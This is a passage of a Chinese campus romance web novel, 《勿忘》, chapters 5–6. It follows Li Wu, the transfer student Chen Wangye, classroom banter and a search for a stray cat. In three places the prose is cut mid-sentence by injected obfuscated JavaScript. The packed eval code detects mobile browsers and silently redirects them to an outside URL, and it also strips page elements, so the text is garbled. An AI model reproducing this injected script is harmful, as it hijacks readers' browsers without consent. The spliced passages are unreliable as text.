她抱着手臂,手指在自己的手肘上轻轻敲击,盯着那个名字,莫名其妙地笑了下,牙齿咬住下唇又松开:“这个人有点儿意思。” “哈?”胡桃懵。 不是黎雾有成绩崇拜,只是她脑回路比较清奇,又善于自我反思。 短短几分钟她大脑CPU飞速运转,从返校日大雪纷飞复盘到今早课桌太阳晒懒猫,认认真真思考了自己为什么会闹个大乌龙,以为他是个不学无术的小混混。 不过就是因为初见时他眼神太颓废,嘴里还叼了根烟啊。 她确实是以貌取人,刻板印象了。 一系列反思和总结过后,黎雾决定真诚地向他道歉,她边想边默默地朝表彰榜上他的名字90度弯腰,鞠了个躬。 对不起。是我看走眼了。 你不是个不学无术的小混混。 你是个,学有所成的。 小混混。 …… 旁边陈明清和胡桃继续咬耳朵。 “她有点吓人,怎么还拜上了?” “给自己默哀吧。” “一会儿升旗仪式别再给自己降个半旗。” “不至于吧,你还是有机会的。”陈明清吞吞嗓子干巴巴地安慰,“你看他语文这么差,作文一个字都写不出来…” 话还没说完,没想到黎雾突然回身,像看傻子一样看他,话锋一转,“看人要看的是长处。” 她指指表彰榜,“你没看到他物理是满分吗。” “啊?我替你说话你怎么还替他说上话了。” “我没必要替他说话,只是单纯欣赏罢了。” 陈明清实在和黎雾聊不下去,转头问胡桃,“她看上陈忘野了?” “你还不懂啊,她这种不服输的人,这是。” 刚刚和陈明清打趣也只是顺着他的话闲扯,其实她挺了解黎雾的。她这个人表面看着咋咋唬唬的幼稚样,但其实从小经历的事不算少,内心挺成熟也挺自洽的。 从没见她嫉妒过谁,更从没见她把谁放在过心上。 “她这是,找到对手了。” - 铃声响起。 学生都蜂拥从教室出来,连走廊的空气都被挤得稀薄了几分。 教学楼大门被打开,冷空气从门外钻进来,胡桃一拍脑门,打了个冷颤:"天啊我都忘了,今天是开学典礼。" 等他们回班拿了外套再出来时已经不早了,一路小跑着奔向操场,穿过校园里那些光秃秃的灌木丛和苍劲的梧桐树,树干上还挂着几片残留的枯叶,顺着寒风慢悠悠地晃落。 黎雾看到远处操场上已经站了不少人,白校服在雪白的背景下不算醒目,像是白茫茫天际下一团团一簇簇不起眼的小雪点。 好不容易找到1班的队列,她远远就注意到那里围了一群人。 黎雾眯起眼睛看去,果然,人群中心是个熟人。 陈忘野站在漩涡中心,身形挺拔,倒是有点像她刚刚跑过来时路过的那棵苍劲的梧桐树。 被簇拥。 仍是孤零零,光秃秃的一棵。 倒是扎眼。 他似乎有点不适应这个场景,无处可逃,只能保持礼貌地站在人群中央,不局促,就是稍显不耐,眼角眉梢天生自带锋芒,不笑时很冷漠,笑起来只觉得敷衍。 黎雾远远地观察着,心想,真是个好矛盾的人。 笑不笑都是错。 雪虽然停了,但空气依旧是凉的,操场上冷风毫不留情地刮过,把所有人的头发都吹得乱糟糟的,呼出的白气在空中凝结又消散。 大家的目光都不由自主地往陈忘野那边瞟。 转校生,身高长相比较出众,黑发上沾着几粒刚刚树上飘落的雪粒,吹乱了也丝毫不影响氛围,的确和普通班的寸头男差距过大。 再加上表彰榜的事传得比风雪快,没多久大家都知道他是新晋理科之神了。 张口闭口间,白气在空中交织。 “你好厉害啊,你是怎么学的啊。” “我听说你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164002|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国外也拿奖了,国际奥赛物理组的金牌是不是。” “我天哪,果然不是什么人都能转学来咱们学校的。” 外圈也有人,有个陈明清之前在普通班的同学过来,探着头问:“诶,你们班谁是陈忘野啊,拿了好几个第一是不是,我听说还长得特别帅。” 陈明清摆摆手还帮他谦虚上了,“没有,没我帅。” 他指了指人群中心,“就那个。” 那男生伸着脖子一看,“我靠,这还没你帅啊,这不比你帅一万倍吗。你俩都不是一个量级的。” 有几个胆大的已经冲上去要微信了。 陈忘野挠挠头很无奈:“我没带手机。” “没事,那我把我的手机号写下来,你回去加我。”那同学不知道从哪里掏出来个本,写了一串数字,撕下那页纸塞进他手里。 他就接了。 “这么随随便便就加女生微信啊。”黎雾被冻得发困,打了个哈欠,尾音拖长,话没过脑子就脱口而出。 当时正好突然空气安静,她那句话就显得格外洪亮。 陈忘野掀起眼帘朝她的方向看了一眼,还是以往不可一世的样子,随即收回了目光,轻描淡写,像没看见一样。 开学典礼已经开始。 平常初高中分开上操,今天全校都在,倒显得操场格外拥挤,密度都大了一倍。 胡桃和黎雾站队前后贴得很近,对校长讲话兴致缺缺,倒是对八卦兴致勃勃,小声咬耳朵:“他的确挺招人啊,你不觉得他很干净,而且身上很香吗?” “每次一进咱们班我就能闻到咱班男生那一股浓郁的脚味儿。夏天热得出臭汗是一个味儿,冬天被暖气捂出来的又是另一个味儿,各有各的酸爽。” 黎雾没忍住笑,“你之前不是说这是人家妈的功劳吗。” 想当年胡桃看上了隔壁班的一个小男生,说他每天校服白白的,看起来干干净净,身上还有“青草”的清香。 结果没到一个月就破功了,下了场大雨,他衣服上全是泥点子,两个星期也没洗,都粘成土块了。 “青草”变“杂草”,打听了才知道他妈去外地出差了一直没回来,没人给他洗衣服。 “好的好的。”胡桃投降,“我喜欢的是他妈。” “不过怎么电视剧里的场景真的会发生啊?”黎雾想起刚刚热络的场景,“他来之前也没这么多drama啊?” “你这话听起来怎么酸溜溜的呢?”胡桃语调轻松,“他来之前学校也没帅哥啊。” “谁说没帅哥啊,你看看台上那个。”黎雾朝着主席台的方向扬扬下巴。 台上,初二男生代表全校做国旗下讲话,五官还略显稚嫩,但已经能看出英气逼人的轮廓。 意气风发,眉眼间锋芒闪烁。 胡桃眼睛都直了,“我操,这才是我要的弟弟啊。” 听见落款,她疯狂拍黎雾的屁股,“江槐序,我知道这个名。万年第一,和你的地位差不多,什么来着,不败的神。” “黎黎,我有点爱上这弟弟他妈了。”见那男生下台,胡桃的目光一路追随,冒着星星眼,“难以想象初中女生得多疯狂,我一个老阿姨都想为爱痴狂了。” 末了,她叹息一声,“不是,他怎么不是陈忘野他弟啊,他俩才像一家人啊。” 黎雾了然。 长相不相上下,气质天差地别。 一个是光明神,一个是撒旦。 14.旁若·无人 - 《勿忘》【chapter.5 旁若·无人】 - 寒风呼啸,细碎的雪花飘落。 开学典礼刚结束,胡桃就冲过去要初二弟弟的微信了,黎雾拦都拦不住,一晃神的瞬间,一溜烟就没了身影。 黎雾叹了口气,又想笑又觉得拿她没办法,只能自己一个人回班。 学生们熙熙攘攘地结伴往教学楼方向走,操场上人太多,到了楼门口,千军万马过独木桥,就更显得拥挤。 教学楼门口人流量大,她心里正想着事儿,一不留神被身后人挤了一下,重心不稳,顺势向前撞去,鼻子“砰”地撞上了身前人的后背。 与此同时,被撞的瞬间,她第一反应是伸手撑住自己的身体,手掌即将碰到前面男生腰的瞬间,她觉得不合适,收成了拳头。 这力道顺着她传递,汇在拳头,重重地砸在了前面男生的腰窝上,痛得他闷哼一声。 “啊啊啊,疼死我了!”黎雾捂着鼻子,在身后哼唧了一声,酸涩感和痛觉迟迟传来,疼得她都要眼冒金星了。 “我还没喊疼,你还喊。”陈忘野脚步一顿,回头瞥了她一眼,“看我这么不爽?趁机报复?” “刚刚后面有人推我,不好意思啊。”看清前人是他,黎雾撇撇嘴,声音很小,但还是很嘴硬地又补了句,“……你后背怎么那么硬啊。” 硬是硬,但刚刚撞上的瞬间,感官被放大了一百倍,他身上的气息以一种很强势的方式,猛地钻进了她的鼻腔。 淡淡的,冷冷的木纯香,像是冬日雪夜里为谁点燃的篝火。 黎雾算是明白胡桃说的“香香又干净”指的是什么了。 “硬?”陈忘野无语,语气懒散,“我又不是棉花糖做的。” 黎雾揉揉鼻子,还没缓过来,两人已经走到了楼梯口,人流量顿时更大了,陈忘野忽然放慢了脚步,手在她身后隔空护了下,扬了下下巴示意她走前面,“我在你后面就没人撞你了,可以吧?” “哦。”黎雾闷闷地应了声,走在他前面,上了几个台阶忽然想通了似的,猛地回头。 两人本身就有身高差,她站在高一个台阶正好和他平齐,视线对上,她的鼻尖差点就蹭过他的脸颊,吓得黎雾一秒回了身,耳尖发热。 “怎么?这次不撞后背,准备撞我哪儿?”陈忘野戏谑的语气在身后响起,拖着强调,总觉得话里有话,“这地儿软是吗。” 黎雾思绪乱飞,心说,脸肯定是比后背软,嘴唇肯定就更软了呗。 “好好走,别回头。”他扬唇,声音懒懒的。 “哦。”黎雾点头,乖乖地上楼。 “你刚刚想说什么?”他问。 “我想说,你让我走前面是不是因为你就算撞我你也不会疼。毕竟……”黎雾没再说。 “毕竟什么?”陈忘野笑,顺着接下去,“毕竟你是棉花糖做的?” 黎雾:…… 他懒洋洋的,语气很欠地补了句,“我是怕我站太高,你从后面一撞,直接热脸贴上冷屁股,多不好意思。” “你!”黎雾被噎住,气得回头想理论两句,这次差点真撞上他嘴唇。 “故意的?”他似笑非笑,直视着她眼睛,一点要躲的意思也没有。 黎雾气焰顿时消了大半,她默默地扭回头,只能咬碎了牙往肚子里咽。 在旁边观察了一路的陈明清这时才终于插嘴,撇撇嘴,嫌弃得不行:“真就旁若无人了是吧,走个破楼梯给你俩拍出了韩剧的感觉。” “这么多人都在呢,换个地儿调情不行?” 没人理他。 挪动速度太慢,短短几层楼走出了一个世纪的错觉,黎雾和陈忘野一前一后,终于聊了点正事。 "你知道课表在哪吗?"陈忘野问。 "班群里发了。"黎雾这次没回头,"你给我个微信号,我把你拉进去。" 声音被周围的嘈杂淹没,她提高音量又重复了一遍。 顿了两秒还没听见回复,黎雾以为他没听见,正准备再重复一遍,才听见他终于缓慢地回话,语调悠悠,又拽又欠:"我可不是随随便便加女生微信的人。" 黎雾愣了一下,随即反应过来他还在为操场上那句话生气。 温度高了些,落在头发上的雪花融化顺着发丝掉下来,落在她的睫毛,她眨了眨眼,没忍住笑了下。 这人气性也忒大,不过是随口一说,至于记到现在? 她也觉得有意思。 "哦,那不加算了。"黎雾语气轻飘。 陈忘野:…… - 进了班,教室里暖气开得很足,窗户上结了一层薄薄的雾气。 陈明清凑到陈忘野耳边说了几句,然后拿出手机操作了几下,“哥,她不拉你,我拉你。” 黎雾没理他们,掏出手机点开了微信,鬼使神差地点进了班群,又点进了陈忘野的头像。 头像是微信的原始头像,灰色剪影。 看着像人机。 她点进他的朋友圈,入眼是一条冷冰冰的横线,陌生人不可见。 她撇了撇嘴,心想,这人保密工作做得还挺好,真以为自己是大明星啊。 她正想退出页面,余光却瞥见陈忘野也正低头看手机。她定睛一看,正好看到他也在查看她的微信页面。 只不过,她没设置陌生人不可见。 "你怎么看我朋友圈呢。"黎雾不满。 陈忘野抬起头,没一点被抓包的自觉:"我在看这只猫呢。"他指了指她朋友圈最新发的一张图,是汤圆,"这猫挺可爱,还有点眼熟。" "那不就是看我朋友圈吗。" "你没设置不可见,不就是给人看的吗。"陈忘野把手机放回口袋,语气理所当然。 "你!"从刚刚开始面对他,她就一直吃瘪,黎雾气结,立即拿出手机设置了朋友圈不可见。 操作完毕后,她又觉得自己无比幼稚,跟他斗什么嘴呢,对人生地不熟的新同学这么刻薄干嘛。 她深吸一口气,平复了心情。 罢了。 如果他真想看的话,总会主动加她好友的。 - 上课铃响了。 第一节是新班级班会,新同学们简单自我介绍过后就是分座位。 1班分座位非常自由,全凭自己心意。 他们班的自由主要就是归功于班主任老郝,年纪轻轻就坐上了数学组组长的位置,教学水平高,人也开明。 黎雾自认为一直以来都算为人友善,但也没说对谁特别上过心,这次似乎有点不同。 她的目光总是下意识地往身后飘,注意到某人正若有所思地望着窗外的雪景。 班主任老郝刚宣布完可以选座位,陈忘野像是察觉到了什么,收拾书本站起身来就要走。 黎雾忽地回头,破天荒地主动跟他搭话:"你要去哪?" "不是换座位吗?"他说。 "哦。你不想坐在这里了。"黎雾了然,声音低了些。 陈忘野眉毛一挑,观察了她一会儿,嘴角浮现出一丝笑意,慢悠悠地说:"你不想让我走?" 还没等黎雾回答,陈明清就凑了过来,贼眉鼠眼的样子:"你走就走,你拿着黎雾的书走干嘛?" "我们俩换了。"陈忘野随口答道。 "我就说呢!"陈明清皱眉看着那些被牛奶浸过的课本,"这花里胡哨的,上面还写着她的名呢。我天,怎么全都泡得皱皱巴巴的了。” 他揽过陈忘野的肩,没过两秒又被他嫌弃地扒拉掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177612|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不死心地嚷嚷:“你跟弟说,是不是她讹你欺负你了!你别怕,弟罩着你知道吗!" 见他哥没应声,陈明清犹豫了半晌,呼了口气终于下定决心,接过他手上的烂课本,大义凛然地说:"算了!我跟你换,你拿我的。" 陈忘野一把抢回书,撂下俩字:"不换。" …… 这边还在抢书,全班都热热闹闹的,只有胡桃一个人趴在课桌上没挪窝,整个人恹恹的模样,像朵蔫了的小花,失了生机。 “咋了啊?”黎雾问。 胡桃抬头,脸都皱成包子了,委屈巴巴的:“弟弟没加我微信。” “是吗?为什么?”黎雾面上惊讶。 但其实也没那么惊讶,她心里也明白个大概。想加他微信的人应该数不过来了吧,全都加上,手机不得炸了。 胡桃撇撇嘴:“他说谢谢我的好意,但让我想清楚,他只是个14岁的小屁孩,何德何能啊,承受不起。” “啊啊啊啊啊啊他还冲我笑,艹,他笑起来真太帅了。” “我靠我要晕了。”胡桃捂着脸,一会儿犯花痴,一会儿要哭,精神状态极不稳定,“呜呜呜你说他是不是意思就是说我老牛吃嫩草啊!” 黎雾还没回答,胡桃猛地抬眼,冷不丁地问了句,“你看陈忘野是不是也是这感觉。” “什么感觉?”黎雾懵。 “觉得他帅疯了。” 黎雾:…… - 换座位告一段落。 让黎雾意外的是,大家其实都坐在原本的座位,没什么人挪窝。 "一般不都是差生才喜欢坐最后面吗,"陈忘野站在原地,扫了一眼黎雾选的位置。 老地方,班里靠窗最角落,倒数第二排。 "像你这种100%自信张扬的尖子生,不应该昂首挺胸坐在老师眼皮子底下?" 黎雾总感觉他话里有话,不会还在因为她之前''内涵''他考不上1班别扭吧。 "当然坐哪里是你的自由,我就是好心提醒你一句。"黎雾没管他的阴阳怪气,指指讲台方向,"现在全班只剩下讲台前面第一排中间那个绝佳位置了,坐那里你不仅能得到知识的洗礼,还能得到身心的洗礼,一天下来,澡都不用洗了。" "靠,我有幸坐过一次那个位置,"一旁的陈明清插嘴道,"我张嘴打了个哈欠,老郝的唾沫星子喷我一嘴,跟浇花一样。" …… 某人果然默默地坐回了最后一排,她的身后。 ——“小混混”专座。 几节课下来,陈忘野迅速就发现,黎雾确实不能算个100%乖巧合格的尖子生。 上课时她经常一心二用,边听讲边写别的科的作业,饿了还喜欢喝口牛奶往嘴里塞块巧克力,腿酸了就会整个人不修边幅地盘腿打坐在椅子上,用她花花绿绿的彩笔敲着书桌,像个心里装着花蝴蝶开小差打木鱼的小和尚。 但她想坐在最后排的角落绝对不是为了隐藏,只是因为她喜欢教室后排的那块暖气片而已。 冬天还能烤红薯,一天都暖洋洋的。 这些不是黎雾脑补的。 是陈忘野自己说的,半天下来他忍无可忍,咬牙切齿,“真不是我想看你,是你坐我面前实在太碍眼。你今天一上午三节课一共翻箱倒柜掏书桌换作业本换了11次,翻暖气片上的烤红薯翻了7次,吸溜了3瓶牛奶,啃了8块巧克力,发出了无数噪音不说,还在椅子上顾涌顾涌地翻了17次身,而且每次翻身都要用椅子撞一下我的书桌。” 黎雾转过身,撑着下巴看他:"那没办法嘛,以前我后面又没人,我都习惯了。" 她眨眨眼,很无辜,"你不愿意就去老郝讲台下面的座位当被浇的花呗。” “我又不拦着你。" 15.偷心·小贼 - 《勿忘》【chapter.6 偷心·小贼】 - 此时此刻,黎雾只觉得他现在脸很臭,像什么呢,像她养的那只小流浪猫,浑身都白白的,只有脸黑黑的。 这么说来她已经好几天没见到汤圆了,汤圆是她在校外喂养的一只流浪猫,小猫很怕生,每次都躲在树丛里远远看人,她招呼它它也不出来。 但是她每次放猫粮在墙角,再离开,远远看着,就能看到小猫蹑手蹑脚地跑出来,吃完乖乖地坐在原地,遥遥和她对视,这似乎已经成了他们的某种心照不宣的默契。 像是一场漫长的试探,想靠近却又害怕受伤。 实在是一只非常惜命又谨慎的小猫。 她救助过不少流浪小猫,小猫们的性格不一,有的小猫野性足不喜欢被豢养,她能做的就只是给他们送送饭绝个育之类的。而有的小猫战斗力比较弱,野外生存能力也较差,她就会把它们送去医院体检,治好病后再找靠谱的收养人收养。 但这只小猫不同,说它有野性却又比较胆小,说它战斗力弱却又很勇敢,在不该出头的时候强出头。 前段时间某天她假期补课早上上学前来喂猫,手里拿了两个热腾腾的包子当早饭。那天的空气中浮动着细碎的雪花,呼出的热气在空中凝结,她恰巧遇到了陈明清。他裹着厚厚的羽绒服,脖子缩在围巾里,只露出一张冻得通红的脸。 陈明清见到她伸手就想抢她的包子,得手后他站在原地咯咯咯地乐,洋洋得意张开大嘴,包子举到嘴边正要啃一口,小猫突然不知道从哪里冲出来,飞跳起来抓了下他的袖子。 白色的身影在空中划出一道弧线,陈明清大惊失色,还以为来了什么凶猛野兽,猛地退了两步,包子掉到了地上,在雪地上留下一个凹痕。 等他反应过来小猫已经一溜烟跑了,小尾巴消失在树丛,深藏功与名。 “卧槽什么玩意儿,刚刚是来了个火箭吗?” 黎雾没忍住笑:“毛绒绒的火箭?” 她解释了半天,他才知道那是她喂的小猫,难以置信地指着树丛:"小猫脾气这么大?" “谁叫你抢我东西,它这是替我出头呢。” “行吧,小东西还挺有灵性的。” 陈明清走后,黎雾又在原地等了好久还是没能等到小猫出来,寒风吹得她鼻尖发红,她哈着气暖手,没忍住笑了。 一次主动换来一辈子内向吗。 这么矜持,都“救”了她了,还不出来邀邀功吗。 救助过这么多小猫,黎雾从来没想过要自己收养一只,因为知道爸妈绝对不会同意。 但这次不一样,她真的想带它回家。 这只小猫和她小时候养过的第一只小猫实在太像了。 不是外表,品种花色身形,而是骨子里那种倔强的状态。 曾经也有一只小猫,吓得瑟瑟发抖却还是要冲在她面前,用它弱小的身躯保护她。 记忆中的画面有些模糊,但那种温暖和心痛的感觉却始终清晰。小猫柔软的毛发,轻微的呼噜声,以及那双总是充满信任的眼睛,这些碎片般的回忆时常在夜深人静时浮现在她的脑海里。 为爱冲锋陷阵的灵魂最令人感动,可结局却不总是尽如人意。 想到这,心脏就像泡进了隔夜的柠檬汁,不新鲜,却依旧发胀酸涩,得不到排解。 没想到隔了十年,她还能再遇到这样一只,不分青红皂白就替她出头的小猫。 万物皆有灵性,她只觉得它们很投缘。 那一刻,某种心情达到了巅峰—— 她想接它回家。 - 周末。 冬日的阳光透过稀疏的云层洒在地面上,没有温度却依然明亮。 已经下午三点多了,黎雾在小区里翻遍了小树丛,找遍了每一个角落,甚至连一楼每家的后院小花园她都垫脚探着头偷瞄了半天,还是没能找到小猫。她的手套被枝桠刮出了几道细小的口子,手指冻得僵硬,仍然不愿放弃。 “我是欠了你的吗大姐,我大周末的不在家学习出来陪你干这个。”陈明清一屁股坐在马路牙子上,气还没喘匀,“你不至于这么喜欢这只小猫吧,你以前救过那么多流浪猫,也没见非要把哪只带回家啊?” 黎雾懒得搭理他,陈明清最受不了空气安静,反倒开了话匣子,像个唐僧一样在背后疯狂碎碎念:“而且你们家人不是对猫有阴影吗,你也不说当年到底出了什么事,能让你们全家对猫绝口不提的。” 他戴着厚厚的手套,还是不停地呵气暖手,“要我说你这人最大问题就是什么事都爱自己藏着,就连我和胡桃跟你认识这么久你都不告诉,小心哪天憋出病来。” “我还记得前几年你说要养猫,当时你爸那表情瞬间变了,给我吓得啊,太恐怖了。” 听到这话,黎雾的思绪瞬间飘回到昨晚—— 晚饭时,厨房里飘来阵阵菜香,客厅里电视机播放着晚间新闻。 黎爸难得回家一次,黎雾刚坐下,还没来得及和他说话,他的手机就震了起来。 他边接电话边用筷子敲了敲她面前的碗:“多吃点,瘦得跟竹竿似的,不知道的以为你妈虐待你。” “爸,这次分班考我又考了年级第一。”她趁他挂电话的间隙开口。 “嚯,我闺女真争气!”老黎夹了块鱼肚肉给她,油星溅到桌布上,“不过女孩子不用那么拼,别总熬夜,差不多就行了。” 她攥着筷子的手紧了紧:“我今年想参加物竞的培训......” “哎那个什么奥赛,你上次初赛都没过是吧?”老黎嘬了口白酒,喉结滚动着打断她,“爸早说了,搞技术是男人的长项。你表哥光耀初中就会修电脑,前儿还帮我调服务器......” 黎雾盯着那块颤巍巍的肥肉,汤汁正慢慢渗进米饭:"上周您带黎光耀去见客户了?" "男孩子嘛,早点接触社会好。他现在跟客户喝茅台都不带脸红的!"老黎嘬了口白酒,喉结上下滚动,"本来要叫你陈叔叔家的忘野也去的,他学习忙就算了。" “为什么不带我?”她问。 “啪!”老黎突然拍了下她手背,油渍在少女白皙的皮肤上留下痕迹,“吃饭就吃饭,提工作干什么?”他抽了张纸巾擦拭嘴角,“又不是玩过家家呢,真让个丫头片子去谈判,客户酒桌上被欺负了被占了便宜算谁的?” “上个月李总闺女跟客户吃饭,被摸了大腿哭着回家。你当那些老狐狸跟你学校小男孩似的?” "黎光耀之前数学考28分的事您知道吗?" 黎雾擦掉手背的油渍,明知多说无益,还是坚持,"我考148。" "逞这个强做什么?"老黎笑着往后一仰,竹筷敲在碗沿当当作响,"真要说学习天赋,你看陈叔叔家忘野,拿物理奥赛金牌,直接能保送藤校。" "你们小姑娘心思细,就该学文。当初让你选理科我就不同意,看熬得黑眼圈都出来了——" "就你那物理成绩,你现在还能考总分第一,等高三男生发力了..." 厨房里妈妈还在做汤,锅铲碰撞的声音和水汽蒸腾的声音交织在一起。 黎爸瞥了那边一眼,收回目光,语气放软:“你以后就像你妈妈一样,活得轻松点舒服点。知道吗?” 瓷碗里的鱼汤渐渐凝出油膜,像只浑浊的眼睛。 吊灯暖黄的光晕下,黎雾用筷子尖拨弄着碗里的米粒,一粒一粒地分开又合拢。餐桌对面,老黎的手机屏幕蓝光明明灭灭映在他脸上。 “之前说的养猫的事你考虑的怎么样了?”黎雾换了话题。 黎爸突然语气一变,慈爱不在,只撂下生硬的两个字,“不行。” …… 思绪被陈明清的声音拽回来。 “这只小猫有什么特别的啊?你心都被它偷了?”他跺着脚,鼻尖冻得通红。 黎雾说不出的烦躁,忽地转身:“对,我就是心都被它偷了。别那么多废话,赶紧帮我找吧。” “我废话?我跟那卖力的时候你是一眼不看啊。” 刚刚他跑遍了院内每栋居民楼的楼道,跑上跑下就为替她找这只踹过他一脚的小祖宗,黎雾非说是那天小猫被他吓着了,从此再也不相信虚伪的人类才藏起来的。 天地良心,他能找谁说理。 如今他们所在的“柳居”是知夏附中配属的家属院,院内居民绝大多数是附中的老师,只有一小部分房屋拿来售卖和出租。因为位置绝佳还是自带学区,整个小区被炒到了天价,就连不足20平米的蜗居都有人挤破了头争抢,一售即空。 前些年还有新闻爆出有鸡娃妈为了抢一套附中学区房,变卖了家里所有财产不说,甚至还不惜借了高利贷加价买房,就为了一个能送孩子进附中初中的名额。 只可惜小孩不争气,就算进得了初中也考不上附中高中,气得妈妈深夜揪着他暴打,哭诉这些年自己是怎么为了家庭和孩子付出和牺牲,自己的人生有多失败,倾尽一切都希望孩子能飞黄腾达出人头地,逼得孩子差点跳楼。 当晚警车围了一小区,红□□在夜空闪烁,警笛声震天响。 想当初黎雾看到这条新闻,第一时间想到的是为什么这条新闻里只出现了鸡娃的妈,那消失的爸去哪里了。第二时间想到的是自家母后,也是个典型的付出型人格,最爱说的就是“在我心中,你爸爸排第一位,你排第二位,其次是家里的老人和亲戚,最后才是我自己。” 都属于典型的中国式家庭,缺席的父亲,献祭的母亲,和困惑的孩子。比起新闻里的极端案例,黎雾的家庭看起来和谐许多,但骨子里的问题却是相似的。不论是新闻里的鸡娃妈还是她的妈妈,无疑都是在婚姻和家庭中看不到自我的女性,将全部的情感、精力、心气都投入到他人身上,看起来和谐美满,实则充满了控制、压抑和无力。 当然以上讨论的这些都不在陈明清芝麻大点的脑子的考虑范围,他脑中唯一的想法就只是,这个小区真tm称得上是魔窟了。 找猫的这一路他撞见了四五个学校老师,这频率堪比附中校园了。 远远看见副校长的那一刻,他一溜烟躲到了隔壁墙角,脚下打滑险些摔倒,好不容易稳住身形,却没想到被人从背后突袭,一回头就看到了自家班主任老郝,手里还拎着个小孩,两人表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196671|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情出奇地相似,都是一副好奇的样子。 "你大周末来这儿干嘛?"老郝皱眉。 陈明清看清来人吓得一哆嗦,像是耗子见了猫,被踩了尾巴跑又跑不掉死也死不了,只能装模作样立正站好,态度毕恭毕敬,脸上堆起笑容:"好巧啊老师,大周末也能碰见您。" “嗯,你不学习跑这小区里鬼鬼祟祟的干嘛。”老郝眯起眼睛,目光犀利,上下打量着他。 “报告老师,我不是不务正业,是黎雾叫我出来的。” 好学生在老师眼里总是自带光环,听到黎雾的名字,老郝的神色果然平和了许多,咳了一声还带着老师的威严,“谁说你不务正业了,她叫你出来干嘛?” 陈明清手直直垂在两侧,站地乖巧:“报告老师,这不是马上要有那什么互帮互助小组吗,我俩准备一组,她教我数学。” “你确定?”听到这句老郝像是起了疑心,尾音上扬,“互帮互助得有个‘互’吧,你能帮她什么?纯吸血?” 随后他上下目光扫视打量了陈明清半天,那表情写在脸上,昭然若揭,就差直接说出来了。 ——她不会是看上你了吧。 当陈明清把这段声情并茂唾沫横飞地讲给黎雾的时候,黎雾简直快要笑喷了,一点不买账,手撑在墙边弯着个腰笑得前仰后合,“不是,你也太看得起自己了吧,居然会觉得老郝是以为我看上你了。” “怎么了。小爷我也是人气很高的好吗,你不知道有多少人排着队想和我表白。”陈明清抱着手臂一脸不忿,“瞧不起谁呢。” “重点不是这个啊。重点是就算是互帮互助,为什么帮到人家小区里来,你这解释纯粹是此地无银三百两。你知道吗,越是撒谎的人,越爱提供一些无关紧要细枝末节的细节,老郝不戳穿你都是仁慈。” “而且我已经有想组学习小组的人选了。”黎雾说着就转身向小树丛方向走去,前几天下过雪,树枝上挂着未融的冰霜,扒开树丛时雪沾在手指融化成细小的水滴,透心的凉。 她不由得更担心起那只黑脸小猫,冰天雪地的不知道它一小只躲在哪个小角落瑟瑟发抖呢。 陈明清跟在她身后,忽地来了兴致:“谁呀?不会是我哥吧。从他来那天你就一直怪怪的。我都怀疑你不是被小猫偷了心,是被他偷了心吧?” 黎雾懒得搭理他,没说话,一个人自顾自在前面走,雪地靴踩在枯枝上发出咯吱咯吱的声响。 见她不应声,陈明清从地上捡起根树枝贱兮兮地伸过去戳她的肩膀,树枝上还挂着一小块雪,随着他的动作落下来,“喂,就算你想和他一组他还不一定乐意嘞,陈忘野最怕麻烦了,能独来独往就肯定不会和人搭伴结伙。” “等下。”陈明清忽然停下了脚步。 “怎么了?”黎雾有些不耐地回头。 “我突然觉得这个场景怎么有点眼熟呢。”他低头看着自己手里的枯树枝,眉头皱成一团,像个得了健忘症的八旬老汉,郁闷地锤了下自己的脑袋,“诶呀到底是什么来着。” “什么什么啊?”黎雾莫名其妙,双手插在口袋里,不耐烦地跺着脚,雪地被踩出一个浅浅的坑。 “你再跟我说说那只小猫长什么样子?我那天根本没看清,就看见个毛绒绒的东西飞过去。” 黎雾撇撇嘴,心说那这两个小时他们找什么呢,叹了口气描述道:“它身上是雪白雪白的,脸和耳朵还有脚丫子是灰黑色的,脸很圆,身子也很圆,憨憨傻傻的。” “靠!”陈明清猛地挥了下树枝,雪花飞溅,语气突然亢奋起来,“我想起来了!你说的那只小猫我在朋友圈见过,当时照片里地上也有这个柳枝。” 黎雾竟然还指望他能说出什么信息,明显失望了,“对啊,我之前朋友圈发过它一次,远远拍它在地上吃饭来着。” “不是不是,我看的那张图是一只骨节分明的手在揉小猫的头,我还想着这小猫挺特别,像是颗黑芝麻汤圆被那只手给捏爆了,都漏了馅了。” “有必要强调骨节分明吗。”黎雾关注点跑偏,“写言情小说呢?这么爱措辞。” “你等我找找…”他说着就掏出手机低头开始认认真真地翻朋友圈。 - 于是,半小时后。 当陈忘野听到门铃,一身倦意地拉开家门,扑面而来的就是零下好几摄氏度的风霜,和来自眼前不速之客的一句没头没脑的指控。 两人面色凝重,那架势像是要拿着手铐把他就地正法了。 